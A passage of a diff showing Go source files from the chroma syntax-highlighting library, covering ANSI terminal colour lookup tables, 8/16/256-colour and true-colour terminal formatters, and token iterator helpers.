c("#808080"): "\033[38;5;8m", c("#ff0000"): "\033[38;5;9m", c("#00ff00"): "\033[38;5;10m", c("#ffff00"): "\033[38;5;11m",
|
||||
c("#0000ff"): "\033[38;5;12m", c("#ff00ff"): "\033[38;5;13m", c("#00ffff"): "\033[38;5;14m", c("#ffffff"): "\033[38;5;15m",
|
||||
c("#000000"): "\033[38;5;16m", c("#00005f"): "\033[38;5;17m", c("#000087"): "\033[38;5;18m", c("#0000af"): "\033[38;5;19m",
|
||||
c("#0000d7"): "\033[38;5;20m", c("#0000ff"): "\033[38;5;21m", c("#005f00"): "\033[38;5;22m", c("#005f5f"): "\033[38;5;23m",
|
||||
c("#005f87"): "\033[38;5;24m", c("#005faf"): "\033[38;5;25m", c("#005fd7"): "\033[38;5;26m", c("#005fff"): "\033[38;5;27m",
|
||||
c("#008700"): "\033[38;5;28m", c("#00875f"): "\033[38;5;29m", c("#008787"): "\033[38;5;30m", c("#0087af"): "\033[38;5;31m",
|
||||
c("#0087d7"): "\033[38;5;32m", c("#0087ff"): "\033[38;5;33m", c("#00af00"): "\033[38;5;34m", c("#00af5f"): "\033[38;5;35m",
|
||||
c("#00af87"): "\033[38;5;36m", c("#00afaf"): "\033[38;5;37m", c("#00afd7"): "\033[38;5;38m", c("#00afff"): "\033[38;5;39m",
|
||||
c("#00d700"): "\033[38;5;40m", c("#00d75f"): "\033[38;5;41m", c("#00d787"): "\033[38;5;42m", c("#00d7af"): "\033[38;5;43m",
|
||||
c("#00d7d7"): "\033[38;5;44m", c("#00d7ff"): "\033[38;5;45m", c("#00ff00"): "\033[38;5;46m", c("#00ff5f"): "\033[38;5;47m",
|
||||
c("#00ff87"): "\033[38;5;48m", c("#00ffaf"): "\033[38;5;49m", c("#00ffd7"): "\033[38;5;50m", c("#00ffff"): "\033[38;5;51m",
|
||||
c("#5f0000"): "\033[38;5;52m", c("#5f005f"): "\033[38;5;53m", c("#5f0087"): "\033[38;5;54m", c("#5f00af"): "\033[38;5;55m",
|
||||
c("#5f00d7"): "\033[38;5;56m", c("#5f00ff"): "\033[38;5;57m", c("#5f5f00"): "\033[38;5;58m", c("#5f5f5f"): "\033[38;5;59m",
|
||||
c("#5f5f87"): "\033[38;5;60m", c("#5f5faf"): "\033[38;5;61m", c("#5f5fd7"): "\033[38;5;62m", c("#5f5fff"): "\033[38;5;63m",
|
||||
c("#5f8700"): "\033[38;5;64m", c("#5f875f"): "\033[38;5;65m", c("#5f8787"): "\033[38;5;66m", c("#5f87af"): "\033[38;5;67m",
|
||||
c("#5f87d7"): "\033[38;5;68m", c("#5f87ff"): "\033[38;5;69m", c("#5faf00"): "\033[38;5;70m", c("#5faf5f"): "\033[38;5;71m",
|
||||
c("#5faf87"): "\033[38;5;72m", c("#5fafaf"): "\033[38;5;73m", c("#5fafd7"): "\033[38;5;74m", c("#5fafff"): "\033[38;5;75m",
|
||||
c("#5fd700"): "\033[38;5;76m", c("#5fd75f"): "\033[38;5;77m", c("#5fd787"): "\033[38;5;78m", c("#5fd7af"): "\033[38;5;79m",
|
||||
c("#5fd7d7"): "\033[38;5;80m", c("#5fd7ff"): "\033[38;5;81m", c("#5fff00"): "\033[38;5;82m", c("#5fff5f"): "\033[38;5;83m",
|
||||
c("#5fff87"): "\033[38;5;84m", c("#5fffaf"): "\033[38;5;85m", c("#5fffd7"): "\033[38;5;86m", c("#5fffff"): "\033[38;5;87m",
|
||||
c("#870000"): "\033[38;5;88m", c("#87005f"): "\033[38;5;89m", c("#870087"): "\033[38;5;90m", c("#8700af"): "\033[38;5;91m",
|
||||
c("#8700d7"): "\033[38;5;92m", c("#8700ff"): "\033[38;5;93m", c("#875f00"): "\033[38;5;94m", c("#875f5f"): "\033[38;5;95m",
|
||||
c("#875f87"): "\033[38;5;96m", c("#875faf"): "\033[38;5;97m", c("#875fd7"): "\033[38;5;98m", c("#875fff"): "\033[38;5;99m",
|
||||
c("#878700"): "\033[38;5;100m", c("#87875f"): "\033[38;5;101m", c("#878787"): "\033[38;5;102m", c("#8787af"): "\033[38;5;103m",
|
||||
c("#8787d7"): "\033[38;5;104m", c("#8787ff"): "\033[38;5;105m", c("#87af00"): "\033[38;5;106m", c("#87af5f"): "\033[38;5;107m",
|
||||
c("#87af87"): "\033[38;5;108m", c("#87afaf"): "\033[38;5;109m", c("#87afd7"): "\033[38;5;110m", c("#87afff"): "\033[38;5;111m",
|
||||
c("#87d700"): "\033[38;5;112m", c("#87d75f"): "\033[38;5;113m", c("#87d787"): "\033[38;5;114m", c("#87d7af"): "\033[38;5;115m",
|
||||
c("#87d7d7"): "\033[38;5;116m", c("#87d7ff"): "\033[38;5;117m", c("#87ff00"): "\033[38;5;118m", c("#87ff5f"): "\033[38;5;119m",
|
||||
c("#87ff87"): "\033[38;5;120m", c("#87ffaf"): "\033[38;5;121m", c("#87ffd7"): "\033[38;5;122m", c("#87ffff"): "\033[38;5;123m",
|
||||
c("#af0000"): "\033[38;5;124m", c("#af005f"): "\033[38;5;125m", c("#af0087"): "\033[38;5;126m", c("#af00af"): "\033[38;5;127m",
|
||||
c("#af00d7"): "\033[38;5;128m", c("#af00ff"): "\033[38;5;129m", c("#af5f00"): "\033[38;5;130m", c("#af5f5f"): "\033[38;5;131m",
|
||||
c("#af5f87"): "\033[38;5;132m", c("#af5faf"): "\033[38;5;133m", c("#af5fd7"): "\033[38;5;134m", c("#af5fff"): "\033[38;5;135m",
|
||||
c("#af8700"): "\033[38;5;136m", c("#af875f"): "\033[38;5;137m", c("#af8787"): "\033[38;5;138m", c("#af87af"): "\033[38;5;139m",
|
||||
c("#af87d7"): "\033[38;5;140m", c("#af87ff"): "\033[38;5;141m", c("#afaf00"): "\033[38;5;142m", c("#afaf5f"): "\033[38;5;143m",
|
||||
c("#afaf87"): "\033[38;5;144m", c("#afafaf"): "\033[38;5;145m", c("#afafd7"): "\033[38;5;146m", c("#afafff"): "\033[38;5;147m",
|
||||
c("#afd700"): "\033[38;5;148m", c("#afd75f"): "\033[38;5;149m", c("#afd787"): "\033[38;5;150m", c("#afd7af"): "\033[38;5;151m",
|
||||
c("#afd7d7"): "\033[38;5;152m", c("#afd7ff"): "\033[38;5;153m", c("#afff00"): "\033[38;5;154m", c("#afff5f"): "\033[38;5;155m",
|
||||
c("#afff87"): "\033[38;5;156m", c("#afffaf"): "\033[38;5;157m", c("#afffd7"): "\033[38;5;158m", c("#afffff"): "\033[38;5;159m",
|
||||
c("#d70000"): "\033[38;5;160m", c("#d7005f"): "\033[38;5;161m", c("#d70087"): "\033[38;5;162m", c("#d700af"): "\033[38;5;163m",
|
||||
c("#d700d7"): "\033[38;5;164m", c("#d700ff"): "\033[38;5;165m", c("#d75f00"): "\033[38;5;166m", c("#d75f5f"): "\033[38;5;167m",
|
||||
c("#d75f87"): "\033[38;5;168m", c("#d75faf"): "\033[38;5;169m", c("#d75fd7"): "\033[38;5;170m", c("#d75fff"): "\033[38;5;171m",
|
||||
c("#d78700"): "\033[38;5;172m", c("#d7875f"): "\033[38;5;173m", c("#d78787"): "\033[38;5;174m", c("#d787af"): "\033[38;5;175m",
|
||||
c("#d787d7"): "\033[38;5;176m", c("#d787ff"): "\033[38;5;177m", c("#d7af00"): "\033[38;5;178m", c("#d7af5f"): "\033[38;5;179m",
|
||||
c("#d7af87"): "\033[38;5;180m", c("#d7afaf"): "\033[38;5;181m", c("#d7afd7"): "\033[38;5;182m", c("#d7afff"): "\033[38;5;183m",
|
||||
c("#d7d700"): "\033[38;5;184m", c("#d7d75f"): "\033[38;5;185m", c("#d7d787"): "\033[38;5;186m", c("#d7d7af"): "\033[38;5;187m",
|
||||
c("#d7d7d7"): "\033[38;5;188m", c("#d7d7ff"): "\033[38;5;189m", c("#d7ff00"): "\033[38;5;190m", c("#d7ff5f"): "\033[38;5;191m",
|
||||
c("#d7ff87"): "\033[38;5;192m", c("#d7ffaf"): "\033[38;5;193m", c("#d7ffd7"): "\033[38;5;194m", c("#d7ffff"): "\033[38;5;195m",
|
||||
c("#ff0000"): "\033[38;5;196m", c("#ff005f"): "\033[38;5;197m", c("#ff0087"): "\033[38;5;198m", c("#ff00af"): "\033[38;5;199m",
|
||||
c("#ff00d7"): "\033[38;5;200m", c("#ff00ff"): "\033[38;5;201m", c("#ff5f00"): "\033[38;5;202m", c("#ff5f5f"): "\033[38;5;203m",
|
||||
c("#ff5f87"): "\033[38;5;204m", c("#ff5faf"): "\033[38;5;205m", c("#ff5fd7"): "\033[38;5;206m", c("#ff5fff"): "\033[38;5;207m",
|
||||
c("#ff8700"): "\033[38;5;208m", c("#ff875f"): "\033[38;5;209m", c("#ff8787"): "\033[38;5;210m", c("#ff87af"): "\033[38;5;211m",
|
||||
c("#ff87d7"): "\033[38;5;212m", c("#ff87ff"): "\033[38;5;213m", c("#ffaf00"): "\033[38;5;214m", c("#ffaf5f"): "\033[38;5;215m",
|
||||
c("#ffaf87"): "\033[38;5;216m", c("#ffafaf"): "\033[38;5;217m", c("#ffafd7"): "\033[38;5;218m", c("#ffafff"): "\033[38;5;219m",
|
||||
c("#ffd700"): "\033[38;5;220m", c("#ffd75f"): "\033[38;5;221m", c("#ffd787"): "\033[38;5;222m", c("#ffd7af"): "\033[38;5;223m",
|
||||
c("#ffd7d7"): "\033[38;5;224m", c("#ffd7ff"): "\033[38;5;225m", c("#ffff00"): "\033[38;5;226m", c("#ffff5f"): "\033[38;5;227m",
|
||||
c("#ffff87"): "\033[38;5;228m", c("#ffffaf"): "\033[38;5;229m", c("#ffffd7"): "\033[38;5;230m", c("#ffffff"): "\033[38;5;231m",
|
||||
c("#080808"): "\033[38;5;232m", c("#121212"): "\033[38;5;233m", c("#1c1c1c"): "\033[38;5;234m", c("#262626"): "\033[38;5;235m",
|
||||
c("#303030"): "\033[38;5;236m", c("#3a3a3a"): "\033[38;5;237m", c("#444444"): "\033[38;5;238m", c("#4e4e4e"): "\033[38;5;239m",
|
||||
c("#585858"): "\033[38;5;240m", c("#626262"): "\033[38;5;241m", c("#6c6c6c"): "\033[38;5;242m", c("#767676"): "\033[38;5;243m",
|
||||
c("#808080"): "\033[38;5;244m", c("#8a8a8a"): "\033[38;5;245m", c("#949494"): "\033[38;5;246m", c("#9e9e9e"): "\033[38;5;247m",
|
||||
c("#a8a8a8"): "\033[38;5;248m", c("#b2b2b2"): "\033[38;5;249m", c("#bcbcbc"): "\033[38;5;250m", c("#c6c6c6"): "\033[38;5;251m",
|
||||
c("#d0d0d0"): "\033[38;5;252m", c("#dadada"): "\033[38;5;253m", c("#e4e4e4"): "\033[38;5;254m", c("#eeeeee"): "\033[38;5;255m",
|
||||
},
|
||||
background: map[chroma.Colour]string{
|
||||
c("#000000"): "\033[48;5;0m", c("#800000"): "\033[48;5;1m", c("#008000"): "\033[48;5;2m", c("#808000"): "\033[48;5;3m",
|
||||
c("#000080"): "\033[48;5;4m", c("#800080"): "\033[48;5;5m", c("#008080"): "\033[48;5;6m", c("#c0c0c0"): "\033[48;5;7m",
|
||||
c("#808080"): "\033[48;5;8m", c("#ff0000"): "\033[48;5;9m", c("#00ff00"): "\033[48;5;10m", c("#ffff00"): "\033[48;5;11m",
|
||||
c("#0000ff"): "\033[48;5;12m", c("#ff00ff"): "\033[48;5;13m", c("#00ffff"): "\033[48;5;14m", c("#ffffff"): "\033[48;5;15m",
|
||||
c("#000000"): "\033[48;5;16m", c("#00005f"): "\033[48;5;17m", c("#000087"): "\033[48;5;18m", c("#0000af"): "\033[48;5;19m",
|
||||
c("#0000d7"): "\033[48;5;20m", c("#0000ff"): "\033[48;5;21m", c("#005f00"): "\033[48;5;22m", c("#005f5f"): "\033[48;5;23m",
|
||||
c("#005f87"): "\033[48;5;24m", c("#005faf"): "\033[48;5;25m", c("#005fd7"): "\033[48;5;26m", c("#005fff"): "\033[48;5;27m",
|
||||
c("#008700"): "\033[48;5;28m", c("#00875f"): "\033[48;5;29m", c("#008787"): "\033[48;5;30m", c("#0087af"): "\033[48;5;31m",
|
||||
c("#0087d7"): "\033[48;5;32m", c("#0087ff"): "\033[48;5;33m", c("#00af00"): "\033[48;5;34m", c("#00af5f"): "\033[48;5;35m",
|
||||
c("#00af87"): "\033[48;5;36m", c("#00afaf"): "\033[48;5;37m", c("#00afd7"): "\033[48;5;38m", c("#00afff"): "\033[48;5;39m",
|
||||
c("#00d700"): "\033[48;5;40m", c("#00d75f"): "\033[48;5;41m", c("#00d787"): "\033[48;5;42m", c("#00d7af"): "\033[48;5;43m",
|
||||
c("#00d7d7"): "\033[48;5;44m", c("#00d7ff"): "\033[48;5;45m", c("#00ff00"): "\033[48;5;46m", c("#00ff5f"): "\033[48;5;47m",
|
||||
c("#00ff87"): "\033[48;5;48m", c("#00ffaf"): "\033[48;5;49m", c("#00ffd7"): "\033[48;5;50m", c("#00ffff"): "\033[48;5;51m",
|
||||
c("#5f0000"): "\033[48;5;52m", c("#5f005f"): "\033[48;5;53m", c("#5f0087"): "\033[48;5;54m", c("#5f00af"): "\033[48;5;55m",
|
||||
c("#5f00d7"): "\033[48;5;56m", c("#5f00ff"): "\033[48;5;57m", c("#5f5f00"): "\033[48;5;58m", c("#5f5f5f"): "\033[48;5;59m",
|
||||
c("#5f5f87"): "\033[48;5;60m", c("#5f5faf"): "\033[48;5;61m", c("#5f5fd7"): "\033[48;5;62m", c("#5f5fff"): "\033[48;5;63m",
|
||||
c("#5f8700"): "\033[48;5;64m", c("#5f875f"): "\033[48;5;65m", c("#5f8787"): "\033[48;5;66m", c("#5f87af"): "\033[48;5;67m",
|
||||
c("#5f87d7"): "\033[48;5;68m", c("#5f87ff"): "\033[48;5;69m", c("#5faf00"): "\033[48;5;70m", c("#5faf5f"): "\033[48;5;71m",
|
||||
c("#5faf87"): "\033[48;5;72m", c("#5fafaf"): "\033[48;5;73m", c("#5fafd7"): "\033[48;5;74m", c("#5fafff"): "\033[48;5;75m",
|
||||
c("#5fd700"): "\033[48;5;76m", c("#5fd75f"): "\033[48;5;77m", c("#5fd787"): "\033[48;5;78m", c("#5fd7af"): "\033[48;5;79m",
|
||||
c("#5fd7d7"): "\033[48;5;80m", c("#5fd7ff"): "\033[48;5;81m", c("#5fff00"): "\033[48;5;82m", c("#5fff5f"): "\033[48;5;83m",
|
||||
c("#5fff87"): "\033[48;5;84m", c("#5fffaf"): "\033[48;5;85m", c("#5fffd7"): "\033[48;5;86m", c("#5fffff"): "\033[48;5;87m",
|
||||
c("#870000"): "\033[48;5;88m", c("#87005f"): "\033[48;5;89m", c("#870087"): "\033[48;5;90m", c("#8700af"): "\033[48;5;91m",
|
||||
c("#8700d7"): "\033[48;5;92m", c("#8700ff"): "\033[48;5;93m", c("#875f00"): "\033[48;5;94m", c("#875f5f"): "\033[48;5;95m",
|
||||
c("#875f87"): "\033[48;5;96m", c("#875faf"): "\033[48;5;97m", c("#875fd7"): "\033[48;5;98m", c("#875fff"): "\033[48;5;99m",
|
||||
c("#878700"): "\033[48;5;100m", c("#87875f"): "\033[48;5;101m", c("#878787"): "\033[48;5;102m", c("#8787af"): "\033[48;5;103m",
|
||||
c("#8787d7"): "\033[48;5;104m", c("#8787ff"): "\033[48;5;105m", c("#87af00"): "\033[48;5;106m", c("#87af5f"): "\033[48;5;107m",
|
||||
c("#87af87"): "\033[48;5;108m", c("#87afaf"): "\033[48;5;109m", c("#87afd7"): "\033[48;5;110m", c("#87afff"): "\033[48;5;111m",
|
||||
c("#87d700"): "\033[48;5;112m", c("#87d75f"): "\033[48;5;113m", c("#87d787"): "\033[48;5;114m", c("#87d7af"): "\033[48;5;115m",
|
||||
c("#87d7d7"): "\033[48;5;116m", c("#87d7ff"): "\033[48;5;117m", c("#87ff00"): "\033[48;5;118m", c("#87ff5f"): "\033[48;5;119m",
|
||||
c("#87ff87"): "\033[48;5;120m", c("#87ffaf"): "\033[48;5;121m", c("#87ffd7"): "\033[48;5;122m", c("#87ffff"): "\033[48;5;123m",
|
||||
c("#af0000"): "\033[48;5;124m", c("#af005f"): "\033[48;5;125m", c("#af0087"): "\033[48;5;126m", c("#af00af"): "\033[48;5;127m",
|
||||
c("#af00d7"): "\033[48;5;128m", c("#af00ff"): "\033[48;5;129m", c("#af5f00"): "\033[48;5;130m", c("#af5f5f"): "\033[48;5;131m",
|
||||
c("#af5f87"): "\033[48;5;132m", c("#af5faf"): "\033[48;5;133m", c("#af5fd7"): "\033[48;5;134m", c("#af5fff"): "\033[48;5;135m",
|
||||
c("#af8700"): "\033[48;5;136m", c("#af875f"): "\033[48;5;137m", c("#af8787"): "\033[48;5;138m", c("#af87af"): "\033[48;5;139m",
|
||||
c("#af87d7"): "\033[48;5;140m", c("#af87ff"): "\033[48;5;141m", c("#afaf00"): "\033[48;5;142m", c("#afaf5f"): "\033[48;5;143m",
|
||||
c("#afaf87"): "\033[48;5;144m", c("#afafaf"): "\033[48;5;145m", c("#afafd7"): "\033[48;5;146m", c("#afafff"): "\033[48;5;147m",
|
||||
c("#afd700"): "\033[48;5;148m", c("#afd75f"): "\033[48;5;149m", c("#afd787"): "\033[48;5;150m", c("#afd7af"): "\033[48;5;151m",
|
||||
c("#afd7d7"): "\033[48;5;152m", c("#afd7ff"): "\033[48;5;153m", c("#afff00"): "\033[48;5;154m", c("#afff5f"): "\033[48;5;155m",
|
||||
c("#afff87"): "\033[48;5;156m", c("#afffaf"): "\033[48;5;157m", c("#afffd7"): "\033[48;5;158m", c("#afffff"): "\033[48;5;159m",
|
||||
c("#d70000"): "\033[48;5;160m", c("#d7005f"): "\033[48;5;161m", c("#d70087"): "\033[48;5;162m", c("#d700af"): "\033[48;5;163m",
|
||||
c("#d700d7"): "\033[48;5;164m", c("#d700ff"): "\033[48;5;165m", c("#d75f00"): "\033[48;5;166m", c("#d75f5f"): "\033[48;5;167m",
|
||||
c("#d75f87"): "\033[48;5;168m", c("#d75faf"): "\033[48;5;169m", c("#d75fd7"): "\033[48;5;170m", c("#d75fff"): "\033[48;5;171m",
|
||||
c("#d78700"): "\033[48;5;172m", c("#d7875f"): "\033[48;5;173m", c("#d78787"): "\033[48;5;174m", c("#d787af"): "\033[48;5;175m",
|
||||
c("#d787d7"): "\033[48;5;176m", c("#d787ff"): "\033[48;5;177m", c("#d7af00"): "\033[48;5;178m", c("#d7af5f"): "\033[48;5;179m",
|
||||
c("#d7af87"): "\033[48;5;180m", c("#d7afaf"): "\033[48;5;181m", c("#d7afd7"): "\033[48;5;182m", c("#d7afff"): "\033[48;5;183m",
|
||||
c("#d7d700"): "\033[48;5;184m", c("#d7d75f"): "\033[48;5;185m", c("#d7d787"): "\033[48;5;186m", c("#d7d7af"): "\033[48;5;187m",
|
||||
c("#d7d7d7"): "\033[48;5;188m", c("#d7d7ff"): "\033[48;5;189m", c("#d7ff00"): "\033[48;5;190m", c("#d7ff5f"): "\033[48;5;191m",
|
||||
c("#d7ff87"): "\033[48;5;192m", c("#d7ffaf"): "\033[48;5;193m", c("#d7ffd7"): "\033[48;5;194m", c("#d7ffff"): "\033[48;5;195m",
|
||||
c("#ff0000"): "\033[48;5;196m", c("#ff005f"): "\033[48;5;197m", c("#ff0087"): "\033[48;5;198m", c("#ff00af"): "\033[48;5;199m",
|
||||
c("#ff00d7"): "\033[48;5;200m", c("#ff00ff"): "\033[48;5;201m", c("#ff5f00"): "\033[48;5;202m", c("#ff5f5f"): "\033[48;5;203m",
|
||||
c("#ff5f87"): "\033[48;5;204m", c("#ff5faf"): "\033[48;5;205m", c("#ff5fd7"): "\033[48;5;206m", c("#ff5fff"): "\033[48;5;207m",
|
||||
c("#ff8700"): "\033[48;5;208m", c("#ff875f"): "\033[48;5;209m", c("#ff8787"): "\033[48;5;210m", c("#ff87af"): "\033[48;5;211m",
|
||||
c("#ff87d7"): "\033[48;5;212m", c("#ff87ff"): "\033[48;5;213m", c("#ffaf00"): "\033[48;5;214m", c("#ffaf5f"): "\033[48;5;215m",
|
||||
c("#ffaf87"): "\033[48;5;216m", c("#ffafaf"): "\033[48;5;217m", c("#ffafd7"): "\033[48;5;218m", c("#ffafff"): "\033[48;5;219m",
|
||||
c("#ffd700"): "\033[48;5;220m", c("#ffd75f"): "\033[48;5;221m", c("#ffd787"): "\033[48;5;222m", c("#ffd7af"): "\033[48;5;223m",
|
||||
c("#ffd7d7"): "\033[48;5;224m", c("#ffd7ff"): "\033[48;5;225m", c("#ffff00"): "\033[48;5;226m", c("#ffff5f"): "\033[48;5;227m",
|
||||
c("#ffff87"): "\033[48;5;228m", c("#ffffaf"): "\033[48;5;229m", c("#ffffd7"): "\033[48;5;230m", c("#ffffff"): "\033[48;5;231m",
|
||||
c("#080808"): "\033[48;5;232m", c("#121212"): "\033[48;5;233m", c("#1c1c1c"): "\033[48;5;234m", c("#262626"): "\033[48;5;235m",
|
||||
c("#303030"): "\033[48;5;236m", c("#3a3a3a"): "\033[48;5;237m", c("#444444"): "\033[48;5;238m", c("#4e4e4e"): "\033[48;5;239m",
|
||||
c("#585858"): "\033[48;5;240m", c("#626262"): "\033[48;5;241m", c("#6c6c6c"): "\033[48;5;242m", c("#767676"): "\033[48;5;243m",
|
||||
c("#808080"): "\033[48;5;244m", c("#8a8a8a"): "\033[48;5;245m", c("#949494"): "\033[48;5;246m", c("#9e9e9e"): "\033[48;5;247m",
|
||||
c("#a8a8a8"): "\033[48;5;248m", c("#b2b2b2"): "\033[48;5;249m", c("#bcbcbc"): "\033[48;5;250m", c("#c6c6c6"): "\033[48;5;251m",
|
||||
c("#d0d0d0"): "\033[48;5;252m", c("#dadada"): "\033[48;5;253m", c("#e4e4e4"): "\033[48;5;254m", c("#eeeeee"): "\033[48;5;255m",
|
||||
},
|
||||
},
|
||||
}
|
||||
|
||||
func entryToEscapeSequence(table *ttyTable, entry chroma.StyleEntry) string {
|
||||
out := ""
|
||||
if entry.Bold == chroma.Yes {
|
||||
out += "\033[1m"
|
||||
}
|
||||
if entry.Underline == chroma.Yes {
|
||||
out += "\033[4m"
|
||||
}
|
||||
if entry.Italic == chroma.Yes {
|
||||
out += "\033[3m"
|
||||
}
|
||||
if entry.Colour.IsSet() {
|
||||
out += table.foreground[findClosest(table, entry.Colour)]
|
||||
}
|
||||
if entry.Background.IsSet() {
|
||||
out += table.background[findClosest(table, entry.Background)]
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func findClosest(table *ttyTable, seeking chroma.Colour) chroma.Colour {
|
||||
closestColour := chroma.Colour(0)
|
||||
closest := float64(math.MaxFloat64)
|
||||
for colour := range table.foreground {
|
||||
distance := colour.Distance(seeking)
|
||||
if distance < closest {
|
||||
closest = distance
|
||||
closestColour = colour
|
||||
}
|
||||
}
|
||||
return closestColour
|
||||
}
|
||||
|
||||
func styleToEscapeSequence(table *ttyTable, style *chroma.Style) map[chroma.TokenType]string {
|
||||
style = clearBackground(style)
|
||||
out := map[chroma.TokenType]string{}
|
||||
for _, ttype := range style.Types() {
|
||||
entry := style.Get(ttype)
|
||||
out[ttype] = entryToEscapeSequence(table, entry)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// Clear the background colour.
|
||||
func clearBackground(style *chroma.Style) *chroma.Style {
|
||||
builder := style.Builder()
|
||||
bg := builder.Get(chroma.Background)
|
||||
bg.Background = 0
|
||||
bg.NoInherit = true
|
||||
builder.AddEntry(chroma.Background, bg)
|
||||
style, _ = builder.Build()
|
||||
return style
|
||||
}
|
||||
|
||||
type indexedTTYFormatter struct {
|
||||
table *ttyTable
|
||||
}
|
||||
|
||||
func (c *indexedTTYFormatter) Format(w io.Writer, style *chroma.Style, it chroma.Iterator) (err error) {
|
||||
theme := styleToEscapeSequence(c.table, style)
|
||||
for token := it(); token != chroma.EOF; token = it() {
|
||||
clr, ok := theme[token.Type]
|
||||
|
||||
// This search mimics how styles.Get() is used in tty_truecolour.go.
|
||||
if !ok {
|
||||
clr, ok = theme[token.Type.SubCategory()]
|
||||
if !ok {
|
||||
clr, ok = theme[token.Type.Category()]
|
||||
if !ok {
|
||||
clr, ok = theme[chroma.Text]
|
||||
if !ok {
|
||||
clr = theme[chroma.Background]
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
writeToken(w, clr, token.Value)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// TTY is an 8-colour terminal formatter.
|
||||
//
|
||||
// The Lab colour space is used to map RGB values to the most appropriate index colour.
|
||||
var TTY = Register("terminal", &indexedTTYFormatter{ttyTables[8]})
|
||||
|
||||
// TTY8 is an 8-colour terminal formatter.
|
||||
//
|
||||
// The Lab colour space is used to map RGB values to the most appropriate index colour.
|
||||
var TTY8 = Register("terminal8", &indexedTTYFormatter{ttyTables[8]})
|
||||
|
||||
// TTY16 is a 16-colour terminal formatter.
|
||||
//
|
||||
// It uses \033[3xm for normal colours and \033[90Xm for bright colours.
|
||||
//
|
||||
// The Lab colour space is used to map RGB values to the most appropriate index colour.
|
||||
var TTY16 = Register("terminal16", &indexedTTYFormatter{ttyTables[16]})
|
||||
|
||||
// TTY256 is a 256-colour terminal formatter.
|
||||
//
|
||||
// The Lab colour space is used to map RGB values to the most appropriate index colour.
|
||||
var TTY256 = Register("terminal256", &indexedTTYFormatter{ttyTables[256]})
|
||||
+76
@@ -0,0 +1,76 @@
|
||||
package formatters
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io"
|
||||
"regexp"
|
||||
|
||||
"github.com/alecthomas/chroma/v2"
|
||||
)
|
||||
|
||||
// TTY16m is a true-colour terminal formatter.
|
||||
var TTY16m = Register("terminal16m", chroma.FormatterFunc(trueColourFormatter))
|
||||
|
||||
var crOrCrLf = regexp.MustCompile(`\r?\n`)
|
||||
|
||||
// Print the text with the given formatting, resetting the formatting at the end
|
||||
// of each line and resuming it on the next line.
|
||||
//
|
||||
// This way, a pager (like https://github.com/walles/moar for example) can show
|
||||
// any line in the output by itself, and it will get the right formatting.
|
||||
func writeToken(w io.Writer, formatting string, text string) {
|
||||
if formatting == "" {
|
||||
fmt.Fprint(w, text)
|
||||
return
|
||||
}
|
||||
|
||||
newlineIndices := crOrCrLf.FindAllStringIndex(text, -1)
|
||||
|
||||
afterLastNewline := 0
|
||||
for _, indices := range newlineIndices {
|
||||
newlineStart, afterNewline := indices[0], indices[1]
|
||||
fmt.Fprint(w, formatting)
|
||||
fmt.Fprint(w, text[afterLastNewline:newlineStart])
|
||||
fmt.Fprint(w, "\033[0m")
|
||||
fmt.Fprint(w, text[newlineStart:afterNewline])
|
||||
afterLastNewline = afterNewline
|
||||
}
|
||||
|
||||
if afterLastNewline < len(text) {
|
||||
// Print whatever is left after the last newline
|
||||
fmt.Fprint(w, formatting)
|
||||
fmt.Fprint(w, text[afterLastNewline:])
|
||||
fmt.Fprint(w, "\033[0m")
|
||||
}
|
||||
}
|
||||
|
||||
func trueColourFormatter(w io.Writer, style *chroma.Style, it chroma.Iterator) error {
|
||||
style = clearBackground(style)
|
||||
for token := it(); token != chroma.EOF; token = it() {
|
||||
entry := style.Get(token.Type)
|
||||
if entry.IsZero() {
|
||||
fmt.Fprint(w, token.Value)
|
||||
continue
|
||||
}
|
||||
|
||||
formatting := ""
|
||||
if entry.Bold == chroma.Yes {
|
||||
formatting += "\033[1m"
|
||||
}
|
||||
if entry.Underline == chroma.Yes {
|
||||
formatting += "\033[4m"
|
||||
}
|
||||
if entry.Italic == chroma.Yes {
|
||||
formatting += "\033[3m"
|
||||
}
|
||||
if entry.Colour.IsSet() {
|
||||
formatting += fmt.Sprintf("\033[38;2;%d;%d;%dm", entry.Colour.Red(), entry.Colour.Green(), entry.Colour.Blue())
|
||||
}
|
||||
if entry.Background.IsSet() {
|
||||
formatting += fmt.Sprintf("\033[48;2;%d;%d;%dm", entry.Background.Red(), entry.Background.Green(), entry.Background.Blue())
|
||||
}
|
||||
|
||||
writeToken(w, formatting, token.Value)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
+93
@@ -0,0 +1,93 @@
|
||||
package chroma
|
||||
|
||||
import "strings"
|
||||
|
||||
// An Iterator across tokens.
|
||||
//
|
||||
// EOF will be returned at the end of the Token stream.
|
||||
//
|
||||
// If an error occurs within an Iterator, it may propagate this in a panic. Formatters should recover.
|
||||
type Iterator func() Token
|
||||
|
||||
// Tokens consumes all tokens from the iterator and returns them as a slice.
|
||||
func (i Iterator) Tokens() []Token {
|
||||
var out []Token
|
||||
for t := i(); t != EOF; t = i() {
|
||||
out = append(out, t)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// Stdlib converts a Chroma iterator to a Go 1.23-compatible iterator.
|
||||
func (i Iterator) Stdlib() func(yield func(Token) bool) {
|
||||
return func(yield func(Token) bool) {
|
||||
for t := i(); t != EOF; t = i() {
|
||||
if !yield(t) {
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Concaterator concatenates tokens from a series of iterators.
|
||||
func Concaterator(iterators ...Iterator) Iterator {
|
||||
return func() Token {
|
||||
for len(iterators) > 0 {
|
||||
t := iterators[0]()
|
||||
if t != EOF {
|
||||
return t
|
||||
}
|
||||
iterators = iterators[1:]
|
||||
}
|
||||
return EOF
|
||||
}
|
||||
}
|
||||
|
||||
// Literator converts a sequence of literal Tokens into an Iterator.
|
||||
func Literator(tokens ...Token) Iterator {
|
||||
return func() Token {
|
||||
if len(tokens) == 0 {
|
||||
return EOF
|
||||
}
|
||||
token := tokens[0]
|
||||
tokens = tokens[1:]
|
||||
return token
|
||||
}
|
||||
}
|
||||
|
||||
// SplitTokensIntoLines splits tokens containing newlines in two.
|
||||
func SplitTokensIntoLines(tokens []Token) (out [][]Token) {
|
||||
var line []Token // nolint: prealloc
|
||||
tokenLoop:
|
||||
for _, token := range tokens {
|
||||
for strings.Contains(token.Value, "\n") {
|
||||
